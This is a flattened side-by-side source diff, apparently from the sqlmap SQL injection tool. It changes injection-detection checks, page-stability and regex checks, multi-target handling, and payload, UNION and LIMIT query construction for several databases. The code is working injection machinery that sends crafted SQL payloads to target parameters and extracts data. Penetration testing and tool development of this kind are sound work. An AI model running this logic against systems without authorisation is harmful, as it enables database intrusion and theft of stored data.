payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s' LIKE '%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr)) payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s' LIKE '%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
trueResult = Request.queryPage(payload, place) trueResult = Request.queryPage(payload, place)
if trueResult == kb.defaultResult: if trueResult == kb.defaultResult:
payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s' LIKE '%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + 'A')) payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s' LIKE '%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + randomStr(1)))
falseResult = Request.queryPage(payload, place) falseResult = Request.queryPage(payload, place)
if falseResult != kb.defaultResult: if falseResult != kb.defaultResult:
logMsg = "confirming LIKE single quoted string injection " infoMsg = "confirming LIKE single quoted string injection "
logMsg += "on %s parameter '%s'" % (place, parameter) infoMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(logMsg) logger.info(infoMsg)
payload = agent.payload(place, parameter, value, "%s'%s and %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr)) payload = agent.payload(place, parameter, value, "%s'%s and %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
falseResult = Request.queryPage(payload, place) falseResult = Request.queryPage(payload, place)
if falseResult != kb.defaultResult: if falseResult != kb.defaultResult:
logMsg = "%s parameter '%s' is " % (place, parameter) infoMsg = "%s parameter '%s' is " % (place, parameter)
logMsg += "LIKE single quoted string injectable " infoMsg += "LIKE single quoted string injectable "
logMsg += "with %d parenthesis" % parenthesis infoMsg += "with %d parenthesis" % parenthesis
logger.info(logMsg) logger.info(infoMsg)
return "likesingle" return "likesingle"
logMsg = "%s parameter '%s' is not " % (place, parameter) infoMsg = "%s parameter '%s' is not " % (place, parameter)
logMsg += "LIKE single quoted string injectable" infoMsg += "LIKE single quoted string injectable"
logger.info(logMsg) logger.info(infoMsg)
logMsg = "testing double quoted string injection " infoMsg = "testing double quoted string injection "
logMsg += "on %s parameter '%s'" % (place, parameter) infoMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(logMsg) logger.info(infoMsg)
payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\"=\"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr)) payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\"=\"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
trueResult = Request.queryPage(payload, place) trueResult = Request.queryPage(payload, place)
if trueResult == kb.defaultResult: if trueResult == kb.defaultResult:
payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\"=\"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + 'A')) payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\"=\"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + randomStr(1)))
falseResult = Request.queryPage(payload, place) falseResult = Request.queryPage(payload, place)
if falseResult != kb.defaultResult: if falseResult != kb.defaultResult:
logMsg = "confirming double quoted string injection " infoMsg = "confirming double quoted string injection "
logMsg += "on %s parameter '%s'" % (place, parameter) infoMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(logMsg) logger.info(infoMsg)
payload = agent.payload(place, parameter, value, "%s\"%s AND %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr)) payload = agent.payload(place, parameter, value, "%s\"%s AND %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
falseResult = Request.queryPage(payload, place) falseResult = Request.queryPage(payload, place)
if falseResult != kb.defaultResult: if falseResult != kb.defaultResult:
logMsg = "%s parameter '%s' is " % (place, parameter) infoMsg = "%s parameter '%s' is " % (place, parameter)
logMsg += "double quoted string injectable " infoMsg += "double quoted string injectable "
logMsg += "with %d parenthesis" % parenthesis infoMsg += "with %d parenthesis" % parenthesis
logger.info(logMsg) logger.info(infoMsg)
return "stringdouble" return "stringdouble"
logMsg = "%s parameter '%s' is not " % (place, parameter) infoMsg = "%s parameter '%s' is not " % (place, parameter)
logMsg += "double quoted string injectable" infoMsg += "double quoted string injectable"
logger.info(logMsg) logger.info(infoMsg)
logMsg = "testing LIKE double quoted string injection " infoMsg = "testing LIKE double quoted string injection "
logMsg += "on %s parameter '%s'" % (place, parameter) infoMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(logMsg) logger.info(infoMsg)
payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\" LIKE \"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr)) payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\" LIKE \"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
trueResult = Request.queryPage(payload, place) trueResult = Request.queryPage(payload, place)
if trueResult == kb.defaultResult: if trueResult == kb.defaultResult:
payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\" LIKE \"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + 'A')) payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\" LIKE \"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + randomStr(1)))
falseResult = Request.queryPage(payload, place) falseResult = Request.queryPage(payload, place)
if falseResult != kb.defaultResult: if falseResult != kb.defaultResult:
logMsg = "confirming LIKE double quoted string injection " infoMsg = "confirming LIKE double quoted string injection "
logMsg += "on %s parameter '%s'" % (place, parameter) infoMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(logMsg) logger.info(infoMsg)
payload = agent.payload(place, parameter, value, "%s\"%s and %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr)) payload = agent.payload(place, parameter, value, "%s\"%s and %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
falseResult = Request.queryPage(payload, place) falseResult = Request.queryPage(payload, place)
if falseResult != kb.defaultResult: if falseResult != kb.defaultResult:
logMsg = "%s parameter '%s' is " % (place, parameter) infoMsg = "%s parameter '%s' is " % (place, parameter)
logMsg += "LIKE double quoted string injectable " infoMsg += "LIKE double quoted string injectable "
logMsg += "with %d parenthesis" % parenthesis infoMsg += "with %d parenthesis" % parenthesis
logger.info(logMsg) logger.info(infoMsg)
return "likedouble" return "likedouble"
logMsg = "%s parameter '%s' is not " % (place, parameter) infoMsg = "%s parameter '%s' is not " % (place, parameter)
logMsg += "LIKE double quoted string injectable" infoMsg += "LIKE double quoted string injectable"
logger.info(logMsg) logger.info(infoMsg)
return None return None
@@ -217,8 +255,8 @@ def checkDynParam(place, parameter, value):
dynamicity might depend on another parameter. dynamicity might depend on another parameter.
""" """
logMsg = "testing if %s parameter '%s' is dynamic" % (place, parameter) infoMsg = "testing if %s parameter '%s' is dynamic" % (place, parameter)
logger.info(logMsg) logger.info(infoMsg)
randInt = randomInt() randInt = randomInt()
payload = agent.payload(place, parameter, value, str(randInt)) payload = agent.payload(place, parameter, value, str(randInt))
@@ -227,8 +265,8 @@ def checkDynParam(place, parameter, value):
if kb.defaultResult == dynResult1: if kb.defaultResult == dynResult1:
return False return False
logMsg = "confirming that %s parameter '%s' is dynamic" % (place, parameter) infoMsg = "confirming that %s parameter '%s' is dynamic" % (place, parameter)
logger.info(logMsg) logger.info(infoMsg)
payload = agent.payload(place, parameter, value, "'%s" % randomStr()) payload = agent.payload(place, parameter, value, "'%s" % randomStr())
dynResult2 = Request.queryPage(payload, place) dynResult2 = Request.queryPage(payload, place)
@@ -253,19 +291,75 @@ def checkStability():
like for instance string matching (--string). like for instance string matching (--string).
""" """
logMsg = "testing if the url is stable, wait a few seconds" infoMsg = "testing if the url is stable, wait a few seconds"
logger.info(logMsg) logger.info(infoMsg)
firstResult = Request.queryPage() firstPage, firstHeaders = Request.queryPage(content=True)
time.sleep(0.5) time.sleep(0.5)
secondResult = Request.queryPage() secondPage, secondHeaders = Request.queryPage(content=True)
time.sleep(0.5) time.sleep(0.5)
thirdResult = Request.queryPage() thirdPage, thirdHeaders = Request.queryPage(content=True)
condition = firstResult == secondResult condition = firstPage == secondPage
condition &= secondResult == thirdResult condition &= secondPage == thirdPage
if condition == False:
# Prepare for the comparison algorithm based on Content-Length
# header value
contentLengths = []
requestsHeaders = ( firstHeaders, secondHeaders, thirdHeaders )
for requestHeaders in requestsHeaders:
requestHeaders = str(requestHeaders).lower()
clHeader = re.search("content-length:\s+([\d]+)", requestHeaders, re.I | re.M)
if clHeader and clHeader.group(1).isdigit():
contentLengths.append(int(clHeader.group(1)))
if contentLengths:
conf.contentLengths = ( min(contentLengths), max(contentLengths) )
warnMsg = "url is not stable, sqlmap inspected the headers "
warnMsg += "and identified that Content-Length can be used "
warnMsg += "in the comparison algorithm"
logger.warn(warnMsg)
kb.defaultResult = True
return True
# Prepare for the comparison algorithm based on page content's
# stable lines subset
counter = 0
firstLines = firstPage.split("\n")
secondLines = secondPage.split("\n")
thirdLines = thirdPage.split("\n")
for firstLine in firstLines:
if counter > len(secondLines) or counter > len(thirdLines):
break
if firstLine in secondLines and firstLine in thirdLines:
conf.equalLines.append(firstLine)
counter += 1
if conf.equalLines:
warnMsg = "url is not stable, sqlmap inspected the page "
warnMsg += "content and identified a stable lines subset "
warnMsg += "to be used in the comparison algorithm"
logger.warn(warnMsg)
kb.defaultResult = True
return True
if condition == True:
logMsg = "url is stable"
logger.info(logMsg)
return condition return condition
@@ -283,11 +377,11 @@ def checkString():
if condition: if condition:
return True return True
logMsg = "testing if the provided string is within the " infoMsg = "testing if the provided string is within the "
logMsg += "target URL page content" infoMsg += "target URL page content"
logger.info(logMsg) logger.info(infoMsg)
page = Request.queryPage(content=True) page, _ = Request.queryPage(content=True)
if conf.string in page: if conf.string in page:
setString() setString()
@@ -301,14 +395,46 @@ def checkString():
return False return False
def checkRegexp():
if not conf.regexp:
return True
condition = (
kb.resumedQueries.has_key(conf.url) and
kb.resumedQueries[conf.url].has_key("Regular expression") and
kb.resumedQueries[conf.url]["Regular expression"][:-1] == conf.regexp
)
if condition:
return True
infoMsg = "testing if the provided regular expression matches within "
infoMsg += "the target URL page content"
logger.info(infoMsg)
page, _ = Request.queryPage(content=True)
if re.search(conf.regexp, page, re.I | re.M):
setRegexp()
return True
else:
errMsg = "you provided '%s' as the regular expression to " % conf.regexp
errMsg += "match, but such a regular expression does not have any "
errMsg += "match within the target URL page content, please provide "
errMsg += "another regular expression."
logger.error(errMsg)
return False
def checkConnection(): def checkConnection():
logMsg = "testing connection to the target url" infoMsg = "testing connection to the target url"
logger.info(logMsg) logger.info(infoMsg)
try: try:
kb.defaultResult = Request.queryPage() kb.defaultResult = Request.queryPage()
except sqlmapConnectionException, exceptionMsg: except sqlmapConnectionException, exceptionMsg:
if conf.googleDork: if conf.multipleTargets:
exceptionMsg += ", skipping to next url" exceptionMsg += ", skipping to next url"
logger.warn(exceptionMsg) logger.warn(exceptionMsg)
return False return False

View File

@@ -29,6 +29,7 @@ from lib.controller.checks import checkSqlInjection
from lib.controller.checks import checkDynParam from lib.controller.checks import checkDynParam
from lib.controller.checks import checkStability from lib.controller.checks import checkStability
from lib.controller.checks import checkString from lib.controller.checks import checkString
from lib.controller.checks import checkRegexp
from lib.controller.checks import checkConnection from lib.controller.checks import checkConnection
from lib.core.common import paramToDict from lib.core.common import paramToDict
from lib.core.common import readInput from lib.core.common import readInput
@@ -52,9 +53,9 @@ def __selectInjection(injData):
message += "one to use to go ahead:\n" message += "one to use to go ahead:\n"
for i in xrange(0, len(injData)): for i in xrange(0, len(injData)):
injPlace = injData[i][0] injPlace = injData[i][0]
injParameter = injData[i][1] injParameter = injData[i][1]
injType = injData[i][2] injType = injData[i][2]
message += "[%d] place: %s, parameter: " % (i, injPlace) message += "[%d] place: %s, parameter: " % (i, injPlace)
message += "%s, type: %s" % (injParameter, injType) message += "%s, type: %s" % (injParameter, injType)
@@ -65,7 +66,7 @@ def __selectInjection(injData):
message += "\n" message += "\n"
message += "[q] Quit\nChoice: " message += "[q] Quit\nChoice: "
select = readInput(message, default="0") select = readInput(message, default="0")
if not select: if not select:
index = 0 index = 0
@@ -92,28 +93,45 @@ def start():
""" """
if conf.url: if conf.url:
kb.targetUrls.add(conf.url) kb.targetUrls.add(( conf.url, conf.method, conf.data, conf.cookie ))
if conf.configFile and not kb.targetUrls: if conf.configFile and not kb.targetUrls:
errMsg = "you did not edit the configuration file properly, set " errMsg = "you did not edit the configuration file properly, set "
errMsg += "the target url properly" errMsg += "the target url, list of targets or google dork"
logger.error(errMsg) logger.error(errMsg)
if kb.targetUrls and len(kb.targetUrls) > 1:
infoMsg = "sqlmap got a total of %d targets" % len(kb.targetUrls)
logger.info(infoMsg)
hostCount = 0 hostCount = 0
injData = []
receivedCookies = [] receivedCookies = []
cookieStr = "" cookieStr = ""
setCookieAsInjectable = True setCookieAsInjectable = True
for targetUrl in kb.targetUrls: for targetUrl, targetMethod, targetData, targetCookie in kb.targetUrls:
if conf.googleDork: conf.url = targetUrl
hostCount += 1 conf.method = targetMethod
conf.data = targetData
conf.cookie = targetCookie
injData = []
message = "url %d: %s, " % (hostCount, targetUrl) if conf.multipleTargets:
message += "do you want to test this url? [Y/n/q] " hostCount += 1
message = "url %d:\n%s %s" % (hostCount, conf.method or "GET", targetUrl)
if conf.cookie:
message += "\nCookie: %s" % conf.cookie
if conf.data:
message += "\nPOST data: %s" % conf.data
message += "\ndo you want to test this url? [Y/n/q] "
test = readInput(message, default="Y") test = readInput(message, default="Y")
if test[0] in ("n", "N"): if not test:
pass
elif test[0] in ("n", "N"):
continue continue
elif test[0] in ("q", "Q"): elif test[0] in ("q", "Q"):
break break
@@ -121,10 +139,9 @@ def start():
logMsg = "testing url %s" % targetUrl logMsg = "testing url %s" % targetUrl
logger.info(logMsg) logger.info(logMsg)
conf.url = targetUrl
initTargetEnv() initTargetEnv()
if not checkConnection() or not checkString(): if not checkConnection() or not checkString() or not checkRegexp():
continue continue
for _, cookie in enumerate(conf.cj): for _, cookie in enumerate(conf.cj):
@@ -157,16 +174,13 @@ def start():
__testableParameters = True __testableParameters = True
if not kb.injPlace or not kb.injParameter or not kb.injType: if not kb.injPlace or not kb.injParameter or not kb.injType:
if not conf.string: if not conf.string and not conf.regexp and not conf.eRegexp:
if checkStability(): if not checkStability():
logMsg = "url is stable" errMsg = "url is not stable, try with --string or "
logger.info(logMsg) errMsg += "--regexp options, refer to the user's manual "
else: errMsg += "paragraph 'Page comparison' for details"
errMsg = "url is not stable, try with --string option, refer "
errMsg += "to the user's manual paragraph 'String match' "
errMsg += "for details"
if conf.googleDork: if conf.multipleTargets:
errMsg += ", skipping to next url" errMsg += ", skipping to next url"
logger.warn(errMsg) logger.warn(errMsg)
@@ -201,30 +215,41 @@ def start():
break break
else: else:
warnMsg = "%s parameter '%s' is not " % (place, parameter) infoMsg = "%s parameter '%s' is not " % (place, parameter)
warnMsg += "injectable with %d parenthesis" % parenthesis infoMsg += "injectable with %d parenthesis" % parenthesis
logger.warn(warnMsg) logger.info(infoMsg)
if not injData:
warnMsg = "%s parameter '%s' is not " % (place, parameter)
warnMsg += "injectable"
logger.warn(warnMsg)
if not kb.injPlace or not kb.injParameter or not kb.injType: if not kb.injPlace or not kb.injParameter or not kb.injType:
if len(injData) == 1: if len(injData) == 1:
injDataSelected = injData[0] injDataSelected = injData[0]
elif len(injData) > 1: elif len(injData) > 1:
injDataSelected = __selectInjection(injData) injDataSelected = __selectInjection(injData)
elif conf.multipleTargets:
continue
else: else:
return return
if injDataSelected == "Quit": if injDataSelected == "Quit":
return return
else: else:
kb.injPlace, kb.injParameter, kb.injType = injDataSelected kb.injPlace, kb.injParameter, kb.injType = injDataSelected
setInjection() setInjection()
if not conf.googleDork and ( not kb.injPlace or not kb.injParameter or not kb.injType ): if not conf.multipleTargets and ( not kb.injPlace or not kb.injParameter or not kb.injType ):
raise sqlmapNotVulnerableException, "all parameters are not injectable" raise sqlmapNotVulnerableException, "all parameters are not injectable"
elif kb.injPlace and kb.injParameter and kb.injType: elif kb.injPlace and kb.injParameter and kb.injType:
condition = False condition = False
if conf.googleDork: if conf.multipleTargets:
message = "do you want to exploit this SQL injection? [Y/n] " message = "do you want to exploit this SQL injection? [Y/n] "
exploit = readInput(message, default="Y") exploit = readInput(message, default="Y")

View File

@@ -55,7 +55,7 @@ def setHandler():
for dbmsAliases, dbmsEntry in dbmsMap: for dbmsAliases, dbmsEntry in dbmsMap:
if conf.dbms and conf.dbms not in dbmsAliases: if conf.dbms and conf.dbms not in dbmsAliases:
debugMsg = "skipping to test for %s" % dbmsNames[count] debugMsg = "skipping test for %s" % dbmsNames[count]
logger.debug(debugMsg) logger.debug(debugMsg)
count += 1 count += 1
continue continue

View File

@@ -47,24 +47,28 @@ class Agent:
temp.stop = randomStr(6) temp.stop = randomStr(6)
def payload(self, place=None, parameter=None, value=None, newValue=None): def payload(self, place=None, parameter=None, value=None, newValue=None, negative=False):
""" """
This method replaces the affected parameter with the SQL This method replaces the affected parameter with the SQL
injection statement to request injection statement to request
""" """
negValue = ""
retValue = "" retValue = ""
if negative == True or conf.paramNegative == True:
negValue = "-"
# After identifing the injectable parameter # After identifing the injectable parameter
if kb.injPlace == "User-Agent": if kb.injPlace == "User-Agent":
retValue = kb.injParameter.replace(kb.injParameter, retValue = kb.injParameter.replace(kb.injParameter,
kb.injParameter + newValue) "%s%s" % (negValue, kb.injParameter + newValue))
elif kb.injParameter: elif kb.injParameter:
paramString = conf.parameters[kb.injPlace] paramString = conf.parameters[kb.injPlace]
paramDict = conf.paramDict[kb.injPlace] paramDict = conf.paramDict[kb.injPlace]
value = paramDict[kb.injParameter] value = paramDict[kb.injParameter]
retValue = paramString.replace("%s=%s" % (kb.injParameter, value), retValue = paramString.replace("%s=%s" % (kb.injParameter, value),
"%s=%s" % (kb.injParameter, value + newValue)) "%s=%s%s" % (kb.injParameter, negValue, value + newValue))
# Before identifing the injectable parameter # Before identifing the injectable parameter
elif parameter == "User-Agent": elif parameter == "User-Agent":
@@ -86,17 +90,20 @@ class Agent:
query = "" query = ""
if kb.injType == "numeric": if conf.prefix:
pass query = conf.prefix
elif kb.injType in ( "stringsingle", "likesingle" ):
query = "'"
elif kb.injType in ( "stringdouble", "likedouble" ):
query = "\""
else: else:
raise sqlmapNoneDataException, "unsupported injection type" if kb.injType == "numeric" or conf.postfix:
pass
elif kb.injType in ( "stringsingle", "likesingle" ):
query = "'"
elif kb.injType in ( "stringdouble", "likedouble" ):
query = "\""
else:
raise sqlmapNoneDataException, "unsupported injection type"
if kb.parenthesis != None: if kb.parenthesis not in ( None, 0 ):
query += "%s " % (")" * kb.parenthesis) query += "%s " % (")" * kb.parenthesis)
query += string query += string
@@ -113,25 +120,28 @@ class Agent:
randStr = randomStr() randStr = randomStr()
if comment: if comment:
string += "%s" % comment string += comment
if kb.parenthesis != None: if conf.postfix:
string += " AND %s" % ("(" * kb.parenthesis) string += " %s" % conf.postfix
else: else:
raise sqlmapNoneDataException, "unable to get the number of parenthesis" if kb.parenthesis != None:
string += " AND %s" % ("(" * kb.parenthesis)
else:
raise sqlmapNoneDataException, "unable to get the number of parenthesis"
if kb.injType == "numeric": if kb.injType == "numeric":
string += "%d=%d" % (randInt, randInt) string += "%d=%d" % (randInt, randInt)
elif kb.injType == "stringsingle": elif kb.injType == "stringsingle":
string += "'%s'='%s" % (randStr, randStr) string += "'%s'='%s" % (randStr, randStr)
elif kb.injType == "likesingle": elif kb.injType == "likesingle":
string += "'%s' LIKE '%s" % (randStr, randStr) string += "'%s' LIKE '%s" % (randStr, randStr)
elif kb.injType == "stringdouble": elif kb.injType == "stringdouble":
string += "\"%s\"=\"%s" % (randStr, randStr) string += "\"%s\"=\"%s" % (randStr, randStr)
elif kb.injType == "likedouble": elif kb.injType == "likedouble":
string += "\"%s\" LIKE \"%s" % (randStr, randStr) string += "\"%s\" LIKE \"%s" % (randStr, randStr)
else: else:
raise sqlmapNoneDataException, "unsupported injection type" raise sqlmapNoneDataException, "unsupported injection type"
return string return string
@@ -220,24 +230,51 @@ class Agent:
def getFields(self, query): def getFields(self, query):
fieldsSelectTop = re.search("\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", query, re.I) """
fieldsSelectDistinct = re.search("\ASELECT\s+DISTINCT\((.+?)\)\s+FROM", query, re.I) Take in input a query string and return its fields (columns) and
fieldsSelectFrom = re.search("\ASELECT\s+(.+?)\s+FROM\s+", query, re.I) more details.
fieldsSelect = re.search("\ASELECT\s+(.*)", query, re.I)
Example:
Input: SELECT user, password FROM mysql.user
Output: user,password
@param query: query to be processed
@type query: C{str}
@return: query fields (columns) and more details
@rtype: C{str}
"""
if query.startswith("SELECT ") and "(SELECT " in query:
firstChar = "\\("
else:
firstChar = "\\A"
fieldsSelectTop = re.search("%sSELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM" % firstChar, query, re.I)
fieldsSelectDistinct = re.search("%sSELECT\s+DISTINCT\((.+?)\)\s+FROM" % firstChar, query, re.I)
fieldsSelectFrom = re.search("%sSELECT\s+(.+?)\s+FROM\s+" % firstChar, query, re.I)
fieldsSelect = re.search("%sSELECT\s+(.*)" % firstChar, query, re.I)
fieldsNoSelect = query fieldsNoSelect = query
if fieldsSelectTop: if fieldsSelectTop:
fieldsToCast = fieldsSelectTop.groups()[0] fieldsToCastStr = fieldsSelectTop.groups()[0]
elif fieldsSelectDistinct: elif fieldsSelectDistinct:
fieldsToCast = fieldsSelectDistinct.groups()[0] fieldsToCastStr = fieldsSelectDistinct.groups()[0]
elif fieldsSelectFrom: elif fieldsSelectFrom:
fieldsToCast = fieldsSelectFrom.groups()[0] fieldsToCastStr = fieldsSelectFrom.groups()[0]
elif fieldsSelect: elif fieldsSelect:
fieldsToCast = fieldsSelect.groups()[0] fieldsToCastStr = fieldsSelect.groups()[0]
elif fieldsNoSelect: elif fieldsNoSelect:
fieldsToCast = fieldsNoSelect fieldsToCastStr = fieldsNoSelect
return fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsToCast fieldsToCastList = fieldsToCastStr.replace(", ", ",")
fieldsToCastList = fieldsToCastList.split(",")
if query.startswith("SELECT ") and "(SELECT " in query:
fieldsSelectFrom = None
return fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsToCastList, fieldsToCastStr
def concatQuery(self, query): def concatQuery(self, query):
@@ -267,11 +304,11 @@ class Agent:
""" """
concatQuery = "" concatQuery = ""
query = query.replace(", ", ",") query = query.replace(", ", ",")
fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsToCast = self.getFields(query) fieldsSelectFrom, fieldsSelect, fieldsNoSelect, _, fieldsToCastStr = self.getFields(query)
castedFields = self.nullCastConcatFields(fieldsToCast) castedFields = self.nullCastConcatFields(fieldsToCastStr)
concatQuery = query.replace(fieldsToCast, castedFields, 1) concatQuery = query.replace(fieldsToCastStr, castedFields, 1)
if kb.dbms == "MySQL": if kb.dbms == "MySQL":
if fieldsSelectFrom: if fieldsSelectFrom:
@@ -343,7 +380,7 @@ class Agent:
@rtype: C{str} @rtype: C{str}
""" """
inbandQuery = self.prefixQuery("UNION ALL SELECT ") inbandQuery = self.prefixQuery(" UNION ALL SELECT ")
if not exprPosition: if not exprPosition:
exprPosition = kb.unionPosition exprPosition = kb.unionPosition
@@ -356,7 +393,7 @@ class Agent:
inbandQuery += ", " inbandQuery += ", "
if element == exprPosition: if element == exprPosition:
if " FROM " in query: if " FROM " in query and not query.startswith("SELECT ") and not "(SELECT " in query:
conditionIndex = query.rindex(" FROM ") conditionIndex = query.rindex(" FROM ")
inbandQuery += "%s" % query[:conditionIndex] inbandQuery += "%s" % query[:conditionIndex]
else: else:
@@ -364,7 +401,7 @@ class Agent:
else: else:
inbandQuery += "NULL" inbandQuery += "NULL"
if " FROM " in query: if " FROM " in query and not query.startswith("SELECT ") and not "(SELECT " in query:
conditionIndex = query.rindex(" FROM ") conditionIndex = query.rindex(" FROM ")
inbandQuery += "%s" % query[conditionIndex:] inbandQuery += "%s" % query[conditionIndex:]
@@ -381,5 +418,55 @@ class Agent:
return inbandQuery return inbandQuery
def limitQuery(self, num, query, fieldsList=None):
"""
Take in input a query string and return its limited query string.
Example:
Input: SELECT user FROM mysql.users
Output: SELECT user FROM mysql.users LIMIT <num>, 1
@param num: limit number
@type num: C{int}
@param query: query to be processed
@type query: C{str}
@param fieldsList: list of fields within the query
@type fieldsList: C{list}
@return: limited query string
@rtype: C{str}
"""
limitedQuery = query
limitStr = queries[kb.dbms].limit
fromIndex = limitedQuery.index(" FROM ")
untilFrom = limitedQuery[:fromIndex]
fromFrom = limitedQuery[fromIndex+1:]
if kb.dbms in ( "MySQL", "PostgreSQL" ):
limitStr = queries[kb.dbms].limit % (num, 1)
limitedQuery += " %s" % limitStr
elif kb.dbms == "Oracle":
limitedQuery = "%s FROM (%s, %s" % (untilFrom, untilFrom, limitStr)
limitedQuery = limitedQuery % fromFrom
limitedQuery += "=%d" % (num + 1)
elif kb.dbms == "Microsoft SQL Server":
if re.search(" ORDER BY ", limitedQuery, re.I):
untilOrderChar = limitedQuery.index(" ORDER BY ")
limitedQuery = limitedQuery[:untilOrderChar]
limitedQuery = limitedQuery.replace("SELECT ", (limitStr % 1), 1)
limitedQuery = "%s WHERE %s " % (limitedQuery, fieldsList[0])
limitedQuery += "NOT IN (%s" % (limitStr % num)
limitedQuery += "%s %s)" % (fieldsList[0], fromFrom)
return limitedQuery
# SQL agent # SQL agent
agent = Agent() agent = Agent()

View File

@@ -75,7 +75,7 @@ def paramToDict(place, parameters=None):
elem = element.split("=") elem = element.split("=")
if len(elem) == 2: if len(elem) == 2:
parameter = elem[0] parameter = elem[0].replace(" ", "")
condition = not conf.testParameter condition = not conf.testParameter
condition |= parameter in conf.testParameter condition |= parameter in conf.testParameter
@@ -97,7 +97,7 @@ def paramToDict(place, parameters=None):
warnMsg = "the testable parameter '%s' " % paramStr warnMsg = "the testable parameter '%s' " % paramStr
warnMsg += "you provided is not into the %s" % place warnMsg += "you provided is not into the %s" % place
if conf.googleDork: if conf.multipleTargets:
warnMsg += ", skipping to next url" warnMsg += ", skipping to next url"
logger.warn(warnMsg) logger.warn(warnMsg)
@@ -112,7 +112,7 @@ def paramToDict(place, parameters=None):
return testableParameters return testableParameters
def formatFingerprint(versions=None): def formatDBMSfp(versions=None):
""" """
This function format the back-end DBMS fingerprint value and return its This function format the back-end DBMS fingerprint value and return its
values formatted as a human readable string. values formatted as a human readable string.
@@ -128,6 +128,70 @@ def formatFingerprint(versions=None):
return "%s %s" % (kb.dbms, versions) return "%s %s" % (kb.dbms, versions)
elif isinstance(versions, (list, set, tuple)): elif isinstance(versions, (list, set, tuple)):
return "%s %s" % (kb.dbms, " and ".join([version for version in versions])) return "%s %s" % (kb.dbms, " and ".join([version for version in versions]))
elif not versions:
warnMsg = "unable to extensively fingerprint the back-end "
warnMsg += "DBMS version"
logger.warn(warnMsg)
return kb.dbms
def __formatFingerprintString(values, chain=" or "):
string = "|".join([v for v in values])
return string.replace("|", chain)
def formatFingerprint(target, info):
"""
This function format the back-end operating system fingerprint value
and return its values formatted as a human readable string.
Example of info (kb.headersFp) dictionary:
{
'distrib': set(['Ubuntu']),
'type': set(['Linux']),
'technology': set(['PHP 5.2.6', 'Apache 2.2.9']),
'release': set(['8.10'])
}
Example of info (kb.bannerFp) dictionary:
{
'sp': set(['Service Pack 4']),
'dbmsVersion': '8.00.194',
'dbmsServicePack': '0',
'distrib': set(['2000']),
'dbmsRelease': '2000',
'type': set(['Windows'])
}
@return: detected back-end operating system based upon fingerprint
techniques.
@rtype: C{str}
"""
infoStr = ""
if info and "type" in info:
infoStr += "%s operating system: %s" % (target, __formatFingerprintString(info["type"]))
if "distrib" in info:
infoStr += " %s" % __formatFingerprintString(info["distrib"])
if "release" in info:
infoStr += " %s" % __formatFingerprintString(info["release"])
if "sp" in info:
infoStr += " %s" % __formatFingerprintString(info["sp"])
if "codename" in info:
infoStr += " (%s)" % __formatFingerprintString(info["codename"])
if "technology" in info:
infoStr += "\nweb application technology: %s" % __formatFingerprintString(info["technology"], ", ")
return infoStr
def getHtmlErrorFp(): def getHtmlErrorFp():
@@ -149,7 +213,7 @@ def getHtmlErrorFp():
htmlVer = kb.htmlFp[0] htmlVer = kb.htmlFp[0]
htmlParsed = htmlVer htmlParsed = htmlVer
elif len(kb.htmlFp) > 1: elif len(kb.htmlFp) > 1:
htmlParsed = "or ".join([htmlFp for htmlFp in kb.htmlFp]) htmlParsed = " or ".join([htmlFp for htmlFp in kb.htmlFp])
return htmlParsed return htmlParsed
@@ -207,7 +271,7 @@ def getDirectories():
if kb.docRoot: if kb.docRoot:
directories.add(kb.docRoot) directories.add(kb.docRoot)
pagePath = re.search('^/(.*)/', conf.path) pagePath = re.search("^/(.*)/", conf.path)
if kb.docRoot and pagePath: if kb.docRoot and pagePath:
pagePath = pagePath.groups()[0] pagePath = pagePath.groups()[0]
@@ -429,33 +493,64 @@ def parsePasswordHash(password):
def cleanQuery(query): def cleanQuery(query):
# SQL SELECT statement
upperQuery = query.replace("select ", "SELECT ") upperQuery = query.replace("select ", "SELECT ")
upperQuery = upperQuery.replace(" from ", " FROM ") upperQuery = upperQuery.replace(" from ", " FROM ")
upperQuery = upperQuery.replace(" where ", " WHERE ")
upperQuery = upperQuery.replace(" group by ", " GROUP BY ")
upperQuery = upperQuery.replace(" order by ", " ORDER BY ")
upperQuery = upperQuery.replace(" having ", " HAVING ")
upperQuery = upperQuery.replace(" limit ", " LIMIT ") upperQuery = upperQuery.replace(" limit ", " LIMIT ")
